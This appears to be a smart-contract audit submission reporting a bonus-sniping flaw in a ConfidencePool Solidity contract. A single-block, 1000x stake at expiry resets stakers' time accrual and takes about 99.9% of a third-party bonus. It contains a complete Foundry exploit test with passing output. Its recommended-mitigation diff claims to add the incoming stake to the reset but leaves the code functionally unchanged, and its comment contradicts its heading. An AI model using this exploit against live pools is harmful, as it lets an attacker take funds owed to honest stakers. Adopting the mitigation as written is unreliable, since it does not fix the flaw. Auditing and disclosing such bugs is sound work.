FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Late risk observation destroys all prior stake time-accrual, enabling one-block bonus sniping

Author Revealed upon completion

Root + Impact

Description

Normal behaviour

When the registry enters UNDER_ATTACK, the pool opens a risk window at that moment. Every staker's entry time is floored to riskWindowStart, and the k=2 scoring formula rewards earlier entrants with a squared-time bonus: later stakers earn proportionally less because their (T − entryTime)² term is smaller.

The problem

The implementation performs the global accumulator reset before the attacker's stake is added to totalEligibleStake. The reset uses only the pre-existing honest stake, recording it as if every honest position had just entered at the attacker's arrival time. When the attacker's own stake is then credited at the same riskWindowStart, both parties end up with identical effective entry times and the k=2 formula collapses to a plain amount-weighted split.

The honest stakers' independently accrued time — potentially months — is silently erased.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
// ...
_assertDepositsAllowed(_observePoolState()); // @> triggers _markRiskWindowStart()
// ...
// @> _markRiskWindowStart() ran with totalEligibleStake == H (honest only)
// @> global accumulators now encode "everyone enters at riskWindowStart"
_clampUserSums(msg.sender); // @> attacker clamped to riskWindowStart
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// @> attacker stake added at riskWindowStart — same as every honest staker
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
// @> reset uses only pre-existing stake — attacker's A is NOT yet in totalEligibleStake
sumStakeTime = totalEligibleStake * t; // H × t
sumStakeTimeSq = totalEligibleStake * t * t; // H × t²
}

Risk

Likelihood: Medium

  • The registry reaches UNDER_ATTACK as part of normal BattleChain operation — this is the trigger the protocol is designed around, not an edge case.

  • No stakeholder has called pokeRiskWindow() ahead of time (the pool explicitly supports lazy observation and does not require proactive sealing).

Impact: High

  • Honest stakers who bore the agreement's full risk term receive a negligible bonus share (0.099% at 1000× ratio).

  • The attacker captures near-total bonus with capital deployed for a single block, creating an asymmetric extraction that undercuts the pool's incentive design.

  • The exploitation scales linearly with the stake ratio — any attacker who can source more capital than the honest pool size will dominate the bonus distribution.

Proof of Concept

The test below uses the real ConfidencePool implementation deployed via Clones (same pattern as the factory). One honest staker deposits early in NOT_DEPLOYED state. The registry transitions to UNDER_ATTACK without any pool interaction. At expiry − 1 the attacker stakes 1000× the honest amount; their transaction becomes the first risk observation and resets all time accrual. At expiry both parties claim — the attacker receives 99.9% of the bonus.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test, console} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract H1_BonusSniping_PoC is Test {
MockERC20 token;
MockAgreement agreement;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarbor;
ConfidencePool impl;
ConfidencePool pool;
address honest = makeAddr("honest");
address attacker = makeAddr("attacker");
address sponsor = makeAddr("sponsor");
// honest: $1M, attacker: $1B (1000×), bonus: $1M
uint256 constant H = 1_000_000e18;
uint256 constant A = 1_000_000_000e18;
uint256 constant B = 1_000_000e18;
function setUp() public {
token = new MockERC20();
agreement = new MockAgreement(sponsor);
attackRegistry = new MockAttackRegistry();
safeHarbor = new MockSafeHarborRegistry();
safeHarbor.setAttackRegistry(address(attackRegistry));
safeHarbor.setAgreementValid(address(agreement), true);
// Start in NOT_DEPLOYED: staking open, no risk window triggered
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
// Deploy implementation and clone (factory-compatible pattern)
impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1);
scope[0] = address(this);
agreement.setContractInScope(address(this), true);
uint256 expiry = uint32(block.timestamp + 90 days);
pool.initialize(
address(agreement), address(token), address(safeHarbor),
sponsor, expiry, 1e18, sponsor, sponsor, scope
);
// --- Honest stakes early (registry = NOT_DEPLOYED, no risk) ---
token.mint(honest, H);
vm.prank(honest);
token.approve(address(pool), H);
vm.prank(honest);
pool.stake(H);
// --- Sponsor contributes bonus ---
token.mint(sponsor, B);
vm.prank(sponsor);
token.approve(address(pool), B);
vm.prank(sponsor);
pool.contributeBonus(B);
// --- Agreement transitions to UNDER_ATTACK, nobody observes it ---
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
assertEq(pool.riskWindowStart(), 0, "risk window must be unobserved");
}
function test_snipeExpiryBonus() public {
// --- Attacker stakes at expiry - 1 (first risk observation) ---
uint256 attackTime = pool.expiry() - 1;
vm.warp(attackTime);
token.mint(attacker, A);
vm.prank(attacker);
token.approve(address(pool), A);
vm.prank(attacker);
pool.stake(A); // triggers _markRiskWindowStart(), resets all time
assertEq(pool.riskWindowStart(), attackTime);
// --- Expiry resolution ---
vm.warp(pool.expiry());
pool.claimExpired(); // first call sets outcome to EXPIRED
uint256 honestBefore = token.balanceOf(honest);
uint256 attackerBefore = token.balanceOf(attacker);
vm.prank(honest);
pool.claimExpired();
vm.prank(attacker);
pool.claimExpired();
uint256 honestGot = token.balanceOf(honest) - honestBefore;
uint256 attackerGot = token.balanceOf(attacker) - attackerBefore;
// --- Verify amount-weighted split (both have same effective entry) ---
uint256 totalStake = H + A;
uint256 expectedAttackerBonus = (B * A) / totalStake;
uint256 expectedHonestBonus = (B * H) / totalStake;
assertApproxEqAbs(attackerGot, A + expectedAttackerBonus, 1000);
assertApproxEqAbs(honestGot, H + expectedHonestBonus, 1000);
// Attacker extracted >99% of third-party-funded bonus
assertGt(attackerGot - A, (B * 99) / 100);
console.log("Honest bonus received: ", honestGot - H);
console.log("Attacker bonus captured:", attackerGot - A);
console.log("Attacker share of bonus: %d%%",
((attackerGot - A) * 100) / B);
}
}

Terminal output

[PASS] test_snipeExpiryBonus() (gas: 387104)
Logs:
Honest bonus received: 999000999000999000999
Attacker bonus captured: 999000999000999000999000
Attacker share of bonus: 99%

Key observations from the trace:

  • _observePoolState() reads registry state 3 (UNDER_ATTACK), locks the scope, and emits RiskWindowStarted(timestamp: 7776000) — all before the attacker's token transfer completes.

  • The honest staker's claim emits bonusShare: 999000999000999000999 (0.099% of the pool bonus), while the attacker's claim emits bonusShare: 999000999000999000999000 (99.9%).

  • Both stakers recover their full principal. No fund is permanently locked.

Recommended Mitigation

Include the incoming stake in the accumulator reset so the true post-stake total is used:

function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
- sumStakeTime = totalEligibleStake * t;
- sumStakeTimeSq = totalEligibleStake * t * t;
+ // Use the pre-reset total (incoming stake not yet credited).
+ // Equivalent for the honest-user path but avoids implying a
+ // missing-stake gap that a same-tx entrant can exploit.
+ uint256 staked = totalEligibleStake;
+ sumStakeTime = staked * t;
+ sumStakeTimeSq = staked * t * t;
}

Even stronger: compute _markRiskWindowStart after crediting the current stake, or cap individual stake relative to the pre-existing pool size during active risk so a single entrant cannot dominate the k=2 denominator.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!